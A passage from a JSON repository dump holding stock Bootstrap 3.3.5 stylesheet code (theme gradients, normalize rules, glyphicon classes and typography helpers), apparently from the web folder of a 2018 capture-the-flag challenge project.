#ebcccc 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#f2dede), to(#ebcccc));\n  background-image:         linear-gradient(to bottom, #f2dede 0%, #ebcccc 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#fff2dede', endColorstr='#ffebcccc', GradientType=0);\n  background-repeat: repeat-x;\n}\n.well {\n  background-image: -webkit-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%);\n  background-image:      -o-linear-gradient(top, #e8e8e8 0%, #f5f5f5 100%);\n  background-image: -webkit-gradient(linear, left top, left bottom, from(#e8e8e8), to(#f5f5f5));\n  background-image:         linear-gradient(to bottom, #e8e8e8 0%, #f5f5f5 100%);\n  filter: progid:DXImageTransform.Microsoft.gradient(startColorstr='#ffe8e8e8', endColorstr='#fff5f5f5', GradientType=0);\n  background-repeat: repeat-x;\n  border-color: #dcdcdc;\n  -webkit-box-shadow: inset 0 1px 3px rgba(0, 0, 0, .05), 0 1px 0 rgba(255, 255, 255, .1);\n          box-shadow: inset 0 1px 3px rgba(0, 0, 0, .05), 0 1px 0 rgba(255, 255, 255, .1);\n}\n/*# sourceMappingURL=bootstrap-theme.css.map */\n"
  },
  {
    "path": "web_javatsctf2018/javatsctf2018/src/main/webapp/bootstrap3.3.5/css/bootstrap.css",
    "content": "/*!\n * Bootstrap v3.3.5 (http://getbootstrap.com)\n * Copyright 2011-2015 Twitter, Inc.\n * Licensed under MIT (https://github.com/twbs/bootstrap/blob/master/LICENSE)\n */\n/*! normalize.css v3.0.3 | MIT License | github.com/necolas/normalize.css */\nhtml {\n  font-family: sans-serif;\n  -webkit-text-size-adjust: 100%;\n      -ms-text-size-adjust: 100%;\n}\nbody {\n  margin: 0;\n}\narticle,\naside,\ndetails,\nfigcaption,\nfigure,\nfooter,\nheader,\nhgroup,\nmain,\nmenu,\nnav,\nsection,\nsummary {\n  display: block;\n}\naudio,\ncanvas,\nprogress,\nvideo {\n  display: inline-block;\n  vertical-align: baseline;\n}\naudio:not([controls]) {\n  display: none;\n  height: 0;\n}\n[hidden],\ntemplate {\n  display: none;\n}\na {\n  background-color: transparent;\n}\na:active,\na:hover {\n  outline: 0;\n}\nabbr[title] {\n  border-bottom: 1px dotted;\n}\nb,\nstrong {\n  font-weight: bold;\n}\ndfn {\n  font-style: italic;\n}\nh1 {\n  margin: .67em 0;\n  font-size: 2em;\n}\nmark {\n  color: #000;\n  background: #ff0;\n}\nsmall {\n  font-size: 80%;\n}\nsub,\nsup {\n  position: relative;\n  font-size: 75%;\n  line-height: 0;\n  vertical-align: baseline;\n}\nsup {\n  top: -.5em;\n}\nsub {\n  bottom: -.25em;\n}\nimg {\n  border: 0;\n}\nsvg:not(:root) {\n  overflow: hidden;\n}\nfigure {\n  margin: 1em 40px;\n}\nhr {\n  height: 0;\n  -webkit-box-sizing: content-box;\n     -moz-box-sizing: content-box;\n          box-sizing: content-box;\n}\npre {\n  overflow: auto;\n}\ncode,\nkbd,\npre,\nsamp {\n  font-family: monospace, monospace;\n  font-size: 1em;\n}\nbutton,\ninput,\noptgroup,\nselect,\ntextarea {\n  margin: 0;\n  font: inherit;\n  color: inherit;\n}\nbutton {\n  overflow: visible;\n}\nbutton,\nselect {\n  text-transform: none;\n}\nbutton,\nhtml input[type=\"button\"],\ninput[type=\"reset\"],\ninput[type=\"submit\"] {\n  -webkit-appearance: button;\n  cursor: pointer;\n}\nbutton[disabled],\nhtml input[disabled] {\n  cursor: default;\n}\nbutton::-moz-focus-inner,\ninput::-moz-focus-inner {\n  padding: 0;\n  border: 0;\n}\ninput {\n  line-height: normal;\n}\ninput[type=\"checkbox\"],\ninput[type=\"radio\"] {\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n          box-sizing: border-box;\n  padding: 0;\n}\ninput[type=\"number\"]::-webkit-inner-spin-button,\ninput[type=\"number\"]::-webkit-outer-spin-button {\n  height: auto;\n}\ninput[type=\"search\"] {\n  -webkit-box-sizing: content-box;\n     -moz-box-sizing: content-box;\n          box-sizing: content-box;\n  -webkit-appearance: textfield;\n}\ninput[type=\"search\"]::-webkit-search-cancel-button,\ninput[type=\"search\"]::-webkit-search-decoration {\n  -webkit-appearance: none;\n}\nfieldset {\n  padding: .35em .625em .75em;\n  margin: 0 2px;\n  border: 1px solid #c0c0c0;\n}\nlegend {\n  padding: 0;\n  border: 0;\n}\ntextarea {\n  overflow: auto;\n}\noptgroup {\n  font-weight: bold;\n}\ntable {\n  border-spacing: 0;\n  border-collapse: collapse;\n}\ntd,\nth {\n  padding: 0;\n}\n/*! Source: https://github.com/h5bp/html5-boilerplate/blob/master/src/css/main.css */\n@media print {\n  *,\n  *:before,\n  *:after {\n    color: #000 !important;\n    text-shadow: none !important;\n    background: transparent !important;\n    -webkit-box-shadow: none !important;\n            box-shadow: none !important;\n  }\n  a,\n  a:visited {\n    text-decoration: underline;\n  }\n  a[href]:after {\n    content: \" (\" attr(href) \")\";\n  }\n  abbr[title]:after {\n    content: \" (\" attr(title) \")\";\n  }\n  a[href^=\"#\"]:after,\n  a[href^=\"javascript:\"]:after {\n    content: \"\";\n  }\n  pre,\n  blockquote {\n    border: 1px solid #999;\n\n    page-break-inside: avoid;\n  }\n  thead {\n    display: table-header-group;\n  }\n  tr,\n  img {\n    page-break-inside: avoid;\n  }\n  img {\n    max-width: 100% !important;\n  }\n  p,\n  h2,\n  h3 {\n    orphans: 3;\n    widows: 3;\n  }\n  h2,\n  h3 {\n    page-break-after: avoid;\n  }\n  .navbar {\n    display: none;\n  }\n  .btn > .caret,\n  .dropup > .btn > .caret {\n    border-top-color: #000 !important;\n  }\n  .label {\n    border: 1px solid #000;\n  }\n  .table {\n    border-collapse: collapse !important;\n  }\n  .table td,\n  .table th {\n    background-color: #fff !important;\n  }\n  .table-bordered th,\n  .table-bordered td {\n    border: 1px solid #ddd !important;\n  }\n}\n@font-face {\n  font-family: 'Glyphicons Halflings';\n\n  src: url('../fonts/glyphicons-halflings-regular.eot');\n  src: url('../fonts/glyphicons-halflings-regular.eot?#iefix') format('embedded-opentype'), url('../fonts/glyphicons-halflings-regular.woff2') format('woff2'), url('../fonts/glyphicons-halflings-regular.woff') format('woff'), url('../fonts/glyphicons-halflings-regular.ttf') format('truetype'), url('../fonts/glyphicons-halflings-regular.svg#glyphicons_halflingsregular') format('svg');\n}\n.glyphicon {\n  position: relative;\n  top: 1px;\n  display: inline-block;\n  font-family: 'Glyphicons Halflings';\n  font-style: normal;\n  font-weight: normal;\n  line-height: 1;\n\n  -webkit-font-smoothing: antialiased;\n  -moz-osx-font-smoothing: grayscale;\n}\n.glyphicon-asterisk:before {\n  content: \"\\2a\";\n}\n.glyphicon-plus:before {\n  content: \"\\2b\";\n}\n.glyphicon-euro:before,\n.glyphicon-eur:before {\n  content: \"\\20ac\";\n}\n.glyphicon-minus:before {\n  content: \"\\2212\";\n}\n.glyphicon-cloud:before {\n  content: \"\\2601\";\n}\n.glyphicon-envelope:before {\n  content: \"\\2709\";\n}\n.glyphicon-pencil:before {\n  content: \"\\270f\";\n}\n.glyphicon-glass:before {\n  content: \"\\e001\";\n}\n.glyphicon-music:before {\n  content: \"\\e002\";\n}\n.glyphicon-search:before {\n  content: \"\\e003\";\n}\n.glyphicon-heart:before {\n  content: \"\\e005\";\n}\n.glyphicon-star:before {\n  content: \"\\e006\";\n}\n.glyphicon-star-empty:before {\n  content: \"\\e007\";\n}\n.glyphicon-user:before {\n  content: \"\\e008\";\n}\n.glyphicon-film:before {\n  content: \"\\e009\";\n}\n.glyphicon-th-large:before {\n  content: \"\\e010\";\n}\n.glyphicon-th:before {\n  content: \"\\e011\";\n}\n.glyphicon-th-list:before {\n  content: \"\\e012\";\n}\n.glyphicon-ok:before {\n  content: \"\\e013\";\n}\n.glyphicon-remove:before {\n  content: \"\\e014\";\n}\n.glyphicon-zoom-in:before {\n  content: \"\\e015\";\n}\n.glyphicon-zoom-out:before {\n  content: \"\\e016\";\n}\n.glyphicon-off:before {\n  content: \"\\e017\";\n}\n.glyphicon-signal:before {\n  content: \"\\e018\";\n}\n.glyphicon-cog:before {\n  content: \"\\e019\";\n}\n.glyphicon-trash:before {\n  content: \"\\e020\";\n}\n.glyphicon-home:before {\n  content: \"\\e021\";\n}\n.glyphicon-file:before {\n  content: \"\\e022\";\n}\n.glyphicon-time:before {\n  content: \"\\e023\";\n}\n.glyphicon-road:before {\n  content: \"\\e024\";\n}\n.glyphicon-download-alt:before {\n  content: \"\\e025\";\n}\n.glyphicon-download:before {\n  content: \"\\e026\";\n}\n.glyphicon-upload:before {\n  content: \"\\e027\";\n}\n.glyphicon-inbox:before {\n  content: \"\\e028\";\n}\n.glyphicon-play-circle:before {\n  content: \"\\e029\";\n}\n.glyphicon-repeat:before {\n  content: \"\\e030\";\n}\n.glyphicon-refresh:before {\n  content: \"\\e031\";\n}\n.glyphicon-list-alt:before {\n  content: \"\\e032\";\n}\n.glyphicon-lock:before {\n  content: \"\\e033\";\n}\n.glyphicon-flag:before {\n  content: \"\\e034\";\n}\n.glyphicon-headphones:before {\n  content: \"\\e035\";\n}\n.glyphicon-volume-off:before {\n  content: \"\\e036\";\n}\n.glyphicon-volume-down:before {\n  content: \"\\e037\";\n}\n.glyphicon-volume-up:before {\n  content: \"\\e038\";\n}\n.glyphicon-qrcode:before {\n  content: \"\\e039\";\n}\n.glyphicon-barcode:before {\n  content: \"\\e040\";\n}\n.glyphicon-tag:before {\n  content: \"\\e041\";\n}\n.glyphicon-tags:before {\n  content: \"\\e042\";\n}\n.glyphicon-book:before {\n  content: \"\\e043\";\n}\n.glyphicon-bookmark:before {\n  content: \"\\e044\";\n}\n.glyphicon-print:before {\n  content: \"\\e045\";\n}\n.glyphicon-camera:before {\n  content: \"\\e046\";\n}\n.glyphicon-font:before {\n  content: \"\\e047\";\n}\n.glyphicon-bold:before {\n  content: \"\\e048\";\n}\n.glyphicon-italic:before {\n  content: \"\\e049\";\n}\n.glyphicon-text-height:before {\n  content: \"\\e050\";\n}\n.glyphicon-text-width:before {\n  content: \"\\e051\";\n}\n.glyphicon-align-left:before {\n  content: \"\\e052\";\n}\n.glyphicon-align-center:before {\n  content: \"\\e053\";\n}\n.glyphicon-align-right:before {\n  content: \"\\e054\";\n}\n.glyphicon-align-justify:before {\n  content: \"\\e055\";\n}\n.glyphicon-list:before {\n  content: \"\\e056\";\n}\n.glyphicon-indent-left:before {\n  content: \"\\e057\";\n}\n.glyphicon-indent-right:before {\n  content: \"\\e058\";\n}\n.glyphicon-facetime-video:before {\n  content: \"\\e059\";\n}\n.glyphicon-picture:before {\n  content: \"\\e060\";\n}\n.glyphicon-map-marker:before {\n  content: \"\\e062\";\n}\n.glyphicon-adjust:before {\n  content: \"\\e063\";\n}\n.glyphicon-tint:before {\n  content: \"\\e064\";\n}\n.glyphicon-edit:before {\n  content: \"\\e065\";\n}\n.glyphicon-share:before {\n  content: \"\\e066\";\n}\n.glyphicon-check:before {\n  content: \"\\e067\";\n}\n.glyphicon-move:before {\n  content: \"\\e068\";\n}\n.glyphicon-step-backward:before {\n  content: \"\\e069\";\n}\n.glyphicon-fast-backward:before {\n  content: \"\\e070\";\n}\n.glyphicon-backward:before {\n  content: \"\\e071\";\n}\n.glyphicon-play:before {\n  content: \"\\e072\";\n}\n.glyphicon-pause:before {\n  content: \"\\e073\";\n}\n.glyphicon-stop:before {\n  content: \"\\e074\";\n}\n.glyphicon-forward:before {\n  content: \"\\e075\";\n}\n.glyphicon-fast-forward:before {\n  content: \"\\e076\";\n}\n.glyphicon-step-forward:before {\n  content: \"\\e077\";\n}\n.glyphicon-eject:before {\n  content: \"\\e078\";\n}\n.glyphicon-chevron-left:before {\n  content: \"\\e079\";\n}\n.glyphicon-chevron-right:before {\n  content: \"\\e080\";\n}\n.glyphicon-plus-sign:before {\n  content: \"\\e081\";\n}\n.glyphicon-minus-sign:before {\n  content: \"\\e082\";\n}\n.glyphicon-remove-sign:before {\n  content: \"\\e083\";\n}\n.glyphicon-ok-sign:before {\n  content: \"\\e084\";\n}\n.glyphicon-question-sign:before {\n  content: \"\\e085\";\n}\n.glyphicon-info-sign:before {\n  content: \"\\e086\";\n}\n.glyphicon-screenshot:before {\n  content: \"\\e087\";\n}\n.glyphicon-remove-circle:before {\n  content: \"\\e088\";\n}\n.glyphicon-ok-circle:before {\n  content: \"\\e089\";\n}\n.glyphicon-ban-circle:before {\n  content: \"\\e090\";\n}\n.glyphicon-arrow-left:before {\n  content: \"\\e091\";\n}\n.glyphicon-arrow-right:before {\n  content: \"\\e092\";\n}\n.glyphicon-arrow-up:before {\n  content: \"\\e093\";\n}\n.glyphicon-arrow-down:before {\n  content: \"\\e094\";\n}\n.glyphicon-share-alt:before {\n  content: \"\\e095\";\n}\n.glyphicon-resize-full:before {\n  content: \"\\e096\";\n}\n.glyphicon-resize-small:before {\n  content: \"\\e097\";\n}\n.glyphicon-exclamation-sign:before {\n  content: \"\\e101\";\n}\n.glyphicon-gift:before {\n  content: \"\\e102\";\n}\n.glyphicon-leaf:before {\n  content: \"\\e103\";\n}\n.glyphicon-fire:before {\n  content: \"\\e104\";\n}\n.glyphicon-eye-open:before {\n  content: \"\\e105\";\n}\n.glyphicon-eye-close:before {\n  content: \"\\e106\";\n}\n.glyphicon-warning-sign:before {\n  content: \"\\e107\";\n}\n.glyphicon-plane:before {\n  content: \"\\e108\";\n}\n.glyphicon-calendar:before {\n  content: \"\\e109\";\n}\n.glyphicon-random:before {\n  content: \"\\e110\";\n}\n.glyphicon-comment:before {\n  content: \"\\e111\";\n}\n.glyphicon-magnet:before {\n  content: \"\\e112\";\n}\n.glyphicon-chevron-up:before {\n  content: \"\\e113\";\n}\n.glyphicon-chevron-down:before {\n  content: \"\\e114\";\n}\n.glyphicon-retweet:before {\n  content: \"\\e115\";\n}\n.glyphicon-shopping-cart:before {\n  content: \"\\e116\";\n}\n.glyphicon-folder-close:before {\n  content: \"\\e117\";\n}\n.glyphicon-folder-open:before {\n  content: \"\\e118\";\n}\n.glyphicon-resize-vertical:before {\n  content: \"\\e119\";\n}\n.glyphicon-resize-horizontal:before {\n  content: \"\\e120\";\n}\n.glyphicon-hdd:before {\n  content: \"\\e121\";\n}\n.glyphicon-bullhorn:before {\n  content: \"\\e122\";\n}\n.glyphicon-bell:before {\n  content: \"\\e123\";\n}\n.glyphicon-certificate:before {\n  content: \"\\e124\";\n}\n.glyphicon-thumbs-up:before {\n  content: \"\\e125\";\n}\n.glyphicon-thumbs-down:before {\n  content: \"\\e126\";\n}\n.glyphicon-hand-right:before {\n  content: \"\\e127\";\n}\n.glyphicon-hand-left:before {\n  content: \"\\e128\";\n}\n.glyphicon-hand-up:before {\n  content: \"\\e129\";\n}\n.glyphicon-hand-down:before {\n  content: \"\\e130\";\n}\n.glyphicon-circle-arrow-right:before {\n  content: \"\\e131\";\n}\n.glyphicon-circle-arrow-left:before {\n  content: \"\\e132\";\n}\n.glyphicon-circle-arrow-up:before {\n  content: \"\\e133\";\n}\n.glyphicon-circle-arrow-down:before {\n  content: \"\\e134\";\n}\n.glyphicon-globe:before {\n  content: \"\\e135\";\n}\n.glyphicon-wrench:before {\n  content: \"\\e136\";\n}\n.glyphicon-tasks:before {\n  content: \"\\e137\";\n}\n.glyphicon-filter:before {\n  content: \"\\e138\";\n}\n.glyphicon-briefcase:before {\n  content: \"\\e139\";\n}\n.glyphicon-fullscreen:before {\n  content: \"\\e140\";\n}\n.glyphicon-dashboard:before {\n  content: \"\\e141\";\n}\n.glyphicon-paperclip:before {\n  content: \"\\e142\";\n}\n.glyphicon-heart-empty:before {\n  content: \"\\e143\";\n}\n.glyphicon-link:before {\n  content: \"\\e144\";\n}\n.glyphicon-phone:before {\n  content: \"\\e145\";\n}\n.glyphicon-pushpin:before {\n  content: \"\\e146\";\n}\n.glyphicon-usd:before {\n  content: \"\\e148\";\n}\n.glyphicon-gbp:before {\n  content: \"\\e149\";\n}\n.glyphicon-sort:before {\n  content: \"\\e150\";\n}\n.glyphicon-sort-by-alphabet:before {\n  content: \"\\e151\";\n}\n.glyphicon-sort-by-alphabet-alt:before {\n  content: \"\\e152\";\n}\n.glyphicon-sort-by-order:before {\n  content: \"\\e153\";\n}\n.glyphicon-sort-by-order-alt:before {\n  content: \"\\e154\";\n}\n.glyphicon-sort-by-attributes:before {\n  content: \"\\e155\";\n}\n.glyphicon-sort-by-attributes-alt:before {\n  content: \"\\e156\";\n}\n.glyphicon-unchecked:before {\n  content: \"\\e157\";\n}\n.glyphicon-expand:before {\n  content: \"\\e158\";\n}\n.glyphicon-collapse-down:before {\n  content: \"\\e159\";\n}\n.glyphicon-collapse-up:before {\n  content: \"\\e160\";\n}\n.glyphicon-log-in:before {\n  content: \"\\e161\";\n}\n.glyphicon-flash:before {\n  content: \"\\e162\";\n}\n.glyphicon-log-out:before {\n  content: \"\\e163\";\n}\n.glyphicon-new-window:before {\n  content: \"\\e164\";\n}\n.glyphicon-record:before {\n  content: \"\\e165\";\n}\n.glyphicon-save:before {\n  content: \"\\e166\";\n}\n.glyphicon-open:before {\n  content: \"\\e167\";\n}\n.glyphicon-saved:before {\n  content: \"\\e168\";\n}\n.glyphicon-import:before {\n  content: \"\\e169\";\n}\n.glyphicon-export:before {\n  content: \"\\e170\";\n}\n.glyphicon-send:before {\n  content: \"\\e171\";\n}\n.glyphicon-floppy-disk:before {\n  content: \"\\e172\";\n}\n.glyphicon-floppy-saved:before {\n  content: \"\\e173\";\n}\n.glyphicon-floppy-remove:before {\n  content: \"\\e174\";\n}\n.glyphicon-floppy-save:before {\n  content: \"\\e175\";\n}\n.glyphicon-floppy-open:before {\n  content: \"\\e176\";\n}\n.glyphicon-credit-card:before {\n  content: \"\\e177\";\n}\n.glyphicon-transfer:before {\n  content: \"\\e178\";\n}\n.glyphicon-cutlery:before {\n  content: \"\\e179\";\n}\n.glyphicon-header:before {\n  content: \"\\e180\";\n}\n.glyphicon-compressed:before {\n  content: \"\\e181\";\n}\n.glyphicon-earphone:before {\n  content: \"\\e182\";\n}\n.glyphicon-phone-alt:before {\n  content: \"\\e183\";\n}\n.glyphicon-tower:before {\n  content: \"\\e184\";\n}\n.glyphicon-stats:before {\n  content: \"\\e185\";\n}\n.glyphicon-sd-video:before {\n  content: \"\\e186\";\n}\n.glyphicon-hd-video:before {\n  content: \"\\e187\";\n}\n.glyphicon-subtitles:before {\n  content: \"\\e188\";\n}\n.glyphicon-sound-stereo:before {\n  content: \"\\e189\";\n}\n.glyphicon-sound-dolby:before {\n  content: \"\\e190\";\n}\n.glyphicon-sound-5-1:before {\n  content: \"\\e191\";\n}\n.glyphicon-sound-6-1:before {\n  content: \"\\e192\";\n}\n.glyphicon-sound-7-1:before {\n  content: \"\\e193\";\n}\n.glyphicon-copyright-mark:before {\n  content: \"\\e194\";\n}\n.glyphicon-registration-mark:before {\n  content: \"\\e195\";\n}\n.glyphicon-cloud-download:before {\n  content: \"\\e197\";\n}\n.glyphicon-cloud-upload:before {\n  content: \"\\e198\";\n}\n.glyphicon-tree-conifer:before {\n  content: \"\\e199\";\n}\n.glyphicon-tree-deciduous:before {\n  content: \"\\e200\";\n}\n.glyphicon-cd:before {\n  content: \"\\e201\";\n}\n.glyphicon-save-file:before {\n  content: \"\\e202\";\n}\n.glyphicon-open-file:before {\n  content: \"\\e203\";\n}\n.glyphicon-level-up:before {\n  content: \"\\e204\";\n}\n.glyphicon-copy:before {\n  content: \"\\e205\";\n}\n.glyphicon-paste:before {\n  content: \"\\e206\";\n}\n.glyphicon-alert:before {\n  content: \"\\e209\";\n}\n.glyphicon-equalizer:before {\n  content: \"\\e210\";\n}\n.glyphicon-king:before {\n  content: \"\\e211\";\n}\n.glyphicon-queen:before {\n  content: \"\\e212\";\n}\n.glyphicon-pawn:before {\n  content: \"\\e213\";\n}\n.glyphicon-bishop:before {\n  content: \"\\e214\";\n}\n.glyphicon-knight:before {\n  content: \"\\e215\";\n}\n.glyphicon-baby-formula:before {\n  content: \"\\e216\";\n}\n.glyphicon-tent:before {\n  content: \"\\26fa\";\n}\n.glyphicon-blackboard:before {\n  content: \"\\e218\";\n}\n.glyphicon-bed:before {\n  content: \"\\e219\";\n}\n.glyphicon-apple:before {\n  content: \"\\f8ff\";\n}\n.glyphicon-erase:before {\n  content: \"\\e221\";\n}\n.glyphicon-hourglass:before {\n  content: \"\\231b\";\n}\n.glyphicon-lamp:before {\n  content: \"\\e223\";\n}\n.glyphicon-duplicate:before {\n  content: \"\\e224\";\n}\n.glyphicon-piggy-bank:before {\n  content: \"\\e225\";\n}\n.glyphicon-scissors:before {\n  content: \"\\e226\";\n}\n.glyphicon-bitcoin:before {\n  content: \"\\e227\";\n}\n.glyphicon-btc:before {\n  content: \"\\e227\";\n}\n.glyphicon-xbt:before {\n  content: \"\\e227\";\n}\n.glyphicon-yen:before {\n  content: \"\\00a5\";\n}\n.glyphicon-jpy:before {\n  content: \"\\00a5\";\n}\n.glyphicon-ruble:before {\n  content: \"\\20bd\";\n}\n.glyphicon-rub:before {\n  content: \"\\20bd\";\n}\n.glyphicon-scale:before {\n  content: \"\\e230\";\n}\n.glyphicon-ice-lolly:before {\n  content: \"\\e231\";\n}\n.glyphicon-ice-lolly-tasted:before {\n  content: \"\\e232\";\n}\n.glyphicon-education:before {\n  content: \"\\e233\";\n}\n.glyphicon-option-horizontal:before {\n  content: \"\\e234\";\n}\n.glyphicon-option-vertical:before {\n  content: \"\\e235\";\n}\n.glyphicon-menu-hamburger:before {\n  content: \"\\e236\";\n}\n.glyphicon-modal-window:before {\n  content: \"\\e237\";\n}\n.glyphicon-oil:before {\n  content: \"\\e238\";\n}\n.glyphicon-grain:before {\n  content: \"\\e239\";\n}\n.glyphicon-sunglasses:before {\n  content: \"\\e240\";\n}\n.glyphicon-text-size:before {\n  content: \"\\e241\";\n}\n.glyphicon-text-color:before {\n  content: \"\\e242\";\n}\n.glyphicon-text-background:before {\n  content: \"\\e243\";\n}\n.glyphicon-object-align-top:before {\n  content: \"\\e244\";\n}\n.glyphicon-object-align-bottom:before {\n  content: \"\\e245\";\n}\n.glyphicon-object-align-horizontal:before {\n  content: \"\\e246\";\n}\n.glyphicon-object-align-left:before {\n  content: \"\\e247\";\n}\n.glyphicon-object-align-vertical:before {\n  content: \"\\e248\";\n}\n.glyphicon-object-align-right:before {\n  content: \"\\e249\";\n}\n.glyphicon-triangle-right:before {\n  content: \"\\e250\";\n}\n.glyphicon-triangle-left:before {\n  content: \"\\e251\";\n}\n.glyphicon-triangle-bottom:before {\n  content: \"\\e252\";\n}\n.glyphicon-triangle-top:before {\n  content: \"\\e253\";\n}\n.glyphicon-console:before {\n  content: \"\\e254\";\n}\n.glyphicon-superscript:before {\n  content: \"\\e255\";\n}\n.glyphicon-subscript:before {\n  content: \"\\e256\";\n}\n.glyphicon-menu-left:before {\n  content: \"\\e257\";\n}\n.glyphicon-menu-right:before {\n  content: \"\\e258\";\n}\n.glyphicon-menu-down:before {\n  content: \"\\e259\";\n}\n.glyphicon-menu-up:before {\n  content: \"\\e260\";\n}\n* {\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n          box-sizing: border-box;\n}\n*:before,\n*:after {\n  -webkit-box-sizing: border-box;\n     -moz-box-sizing: border-box;\n          box-sizing: border-box;\n}\nhtml {\n  font-size: 10px;\n\n  -webkit-tap-highlight-color: rgba(0, 0, 0, 0);\n}\nbody {\n  font-family: \"Helvetica Neue\", Helvetica, Arial, sans-serif;\n  font-size: 14px;\n  line-height: 1.42857143;\n  color: #333;\n  background-color: #fff;\n}\ninput,\nbutton,\nselect,\ntextarea {\n  font-family: inherit;\n  font-size: inherit;\n  line-height: inherit;\n}\na {\n  color: #337ab7;\n  text-decoration: none;\n}\na:hover,\na:focus {\n  color: #23527c;\n  text-decoration: underline;\n}\na:focus {\n  outline: thin dotted;\n  outline: 5px auto -webkit-focus-ring-color;\n  outline-offset: -2px;\n}\nfigure {\n  margin: 0;\n}\nimg {\n  vertical-align: middle;\n}\n.img-responsive,\n.thumbnail > img,\n.thumbnail a > img,\n.carousel-inner > .item > img,\n.carousel-inner > .item > a > img {\n  display: block;\n  max-width: 100%;\n  height: auto;\n}\n.img-rounded {\n  border-radius: 6px;\n}\n.img-thumbnail {\n  display: inline-block;\n  max-width: 100%;\n  height: auto;\n  padding: 4px;\n  line-height: 1.42857143;\n  background-color: #fff;\n  border: 1px solid #ddd;\n  border-radius: 4px;\n  -webkit-transition: all .2s ease-in-out;\n       -o-transition: all .2s ease-in-out;\n          transition: all .2s ease-in-out;\n}\n.img-circle {\n  border-radius: 50%;\n}\nhr {\n  margin-top: 20px;\n  margin-bottom: 20px;\n  border: 0;\n  border-top: 1px solid #eee;\n}\n.sr-only {\n  position: absolute;\n  width: 1px;\n  height: 1px;\n  padding: 0;\n  margin: -1px;\n  overflow: hidden;\n  clip: rect(0, 0, 0, 0);\n  border: 0;\n}\n.sr-only-focusable:active,\n.sr-only-focusable:focus {\n  position: static;\n  width: auto;\n  height: auto;\n  margin: 0;\n  overflow: visible;\n  clip: auto;\n}\n[role=\"button\"] {\n  cursor: pointer;\n}\nh1,\nh2,\nh3,\nh4,\nh5,\nh6,\n.h1,\n.h2,\n.h3,\n.h4,\n.h5,\n.h6 {\n  font-family: inherit;\n  font-weight: 500;\n  line-height: 1.1;\n  color: inherit;\n}\nh1 small,\nh2 small,\nh3 small,\nh4 small,\nh5 small,\nh6 small,\n.h1 small,\n.h2 small,\n.h3 small,\n.h4 small,\n.h5 small,\n.h6 small,\nh1 .small,\nh2 .small,\nh3 .small,\nh4 .small,\nh5 .small,\nh6 .small,\n.h1 .small,\n.h2 .small,\n.h3 .small,\n.h4 .small,\n.h5 .small,\n.h6 .small {\n  font-weight: normal;\n  line-height: 1;\n  color: #777;\n}\nh1,\n.h1,\nh2,\n.h2,\nh3,\n.h3 {\n  margin-top: 20px;\n  margin-bottom: 10px;\n}\nh1 small,\n.h1 small,\nh2 small,\n.h2 small,\nh3 small,\n.h3 small,\nh1 .small,\n.h1 .small,\nh2 .small,\n.h2 .small,\nh3 .small,\n.h3 .small {\n  font-size: 65%;\n}\nh4,\n.h4,\nh5,\n.h5,\nh6,\n.h6 {\n  margin-top: 10px;\n  margin-bottom: 10px;\n}\nh4 small,\n.h4 small,\nh5 small,\n.h5 small,\nh6 small,\n.h6 small,\nh4 .small,\n.h4 .small,\nh5 .small,\n.h5 .small,\nh6 .small,\n.h6 .small {\n  font-size: 75%;\n}\nh1,\n.h1 {\n  font-size: 36px;\n}\nh2,\n.h2 {\n  font-size: 30px;\n}\nh3,\n.h3 {\n  font-size: 24px;\n}\nh4,\n.h4 {\n  font-size: 18px;\n}\nh5,\n.h5 {\n  font-size: 14px;\n}\nh6,\n.h6 {\n  font-size: 12px;\n}\np {\n  margin: 0 0 10px;\n}\n.lead {\n  margin-bottom: 20px;\n  font-size: 16px;\n  font-weight: 300;\n  line-height: 1.4;\n}\n@media (min-width: 768px) {\n  .lead {\n    font-size: 21px;\n  }\n}\nsmall,\n.small {\n  font-size: 85%;\n}\nmark,\n.mark {\n  padding: .2em;\n  background-color: #fcf8e3;\n}\n.text-left {\n  text-align: left;\n}\n.text-right {\n  text-align: right;\n}\n.text-center {\n  text-align: center;\n}\n.text-justify {\n  text-align: justify;\n}\n.text-nowrap {\n  white-space: nowrap;\n}\n.text-lowercase {\n  text-transform: lowercase;\n}\n.text-uppercase {\n  text-transform: uppercase;\n}\n.text-capitalize {\n  text-transform: capitalize;\n}\n.text-muted {\n  color: #777;\n}\n.text-primary {\n  color: #337ab7;\n}\na.text-primary:hover,\na.text-primary:focus {\n  color: #286090;\n}\n.text-success {\n  color: #3c763d;\n}\na.text-success:hover,\na.text-success:focus {\n  color: #2b542c;\n}\n.text-info {\n  color: #31708f;\n}\na.text-info:hover,\na.text-info:focus {\n  color: #245269;\n}\n.text-warning {\n  color: #8a6d3b;\n}\na.text-warning:hover,\na.text-warning:focus {\n  color: #66512c;\n}\n.text-danger {\n  color: #a94442;\n}\na.text-danger:hover,\na.text-danger:focus {\n  color: #843534;\n}\n.bg-primary {\n  color: #fff;\n  background-color: #337ab7;\n}\na.bg-primary:hover,\na.bg-primary:focus {\n  background-color: #286090;\n}\n.bg-success {\n  background-color: #dff0d8;\n}\na.bg-success:hover,\na.bg-success:focus {\n  background-color: #c1e2b3;\n}\n.bg-info {\n  background-color: #d9edf7;\n}\na.bg-info:hover,\na.bg-info:focus {\n  background-color: #afd9ee;\n}\n.bg-warning {\n  background-color: #fcf8e3;\n}\na.bg-warning:hover,\na.bg-warning:focus {\n  background-color: #f7ecb5;\n}\n.bg-danger {\n  background-color: #f2dede;\n}\na.bg-danger:hover,\na.bg-danger:focus {\n  background-color: #e4b9b9;\n}\n.page-header {\n  padding-bottom: 9px;\n  margin: 40px 0 20px;\n  border-bottom: 1px solid #eee;\n}\nul,\nol {\n  margin-top: 0;\n  margin-bottom: 10px;\n}\nul ul,\nol ul,\nul ol,\nol ol {\n  margin-bottom: 0;\n}\n.list-unstyled {\n  padding-left: 0;\n  list-style: none;\n}\n.list-inline {\n  padding-left: 0;\n  margin-left: -5px;\n  list-style: none;\n}\n.list-inline > li {\n  display: inline-block;\n  padding-right: 5px;\n  padding-left: 5px;\n}\ndl {\n  margin-top: 0;\n  margin-bottom: 20px;\n}\ndt,\ndd {\n  line-height: 1.42857143;\n}\ndt {\n  font-weight: bold;\n}\ndd {\n  margin-left: 0;\n}\n@media (min-width: 768px) {\n  .dl-horizontal dt {\n    float: left;\n    width: 160px;\n    overflow: hidden;\n    clear: left;\n    text-align: right;\n    text-overflow: ellipsis;\n    white-space: nowrap;\n  }\n  .dl-horizontal dd {\n    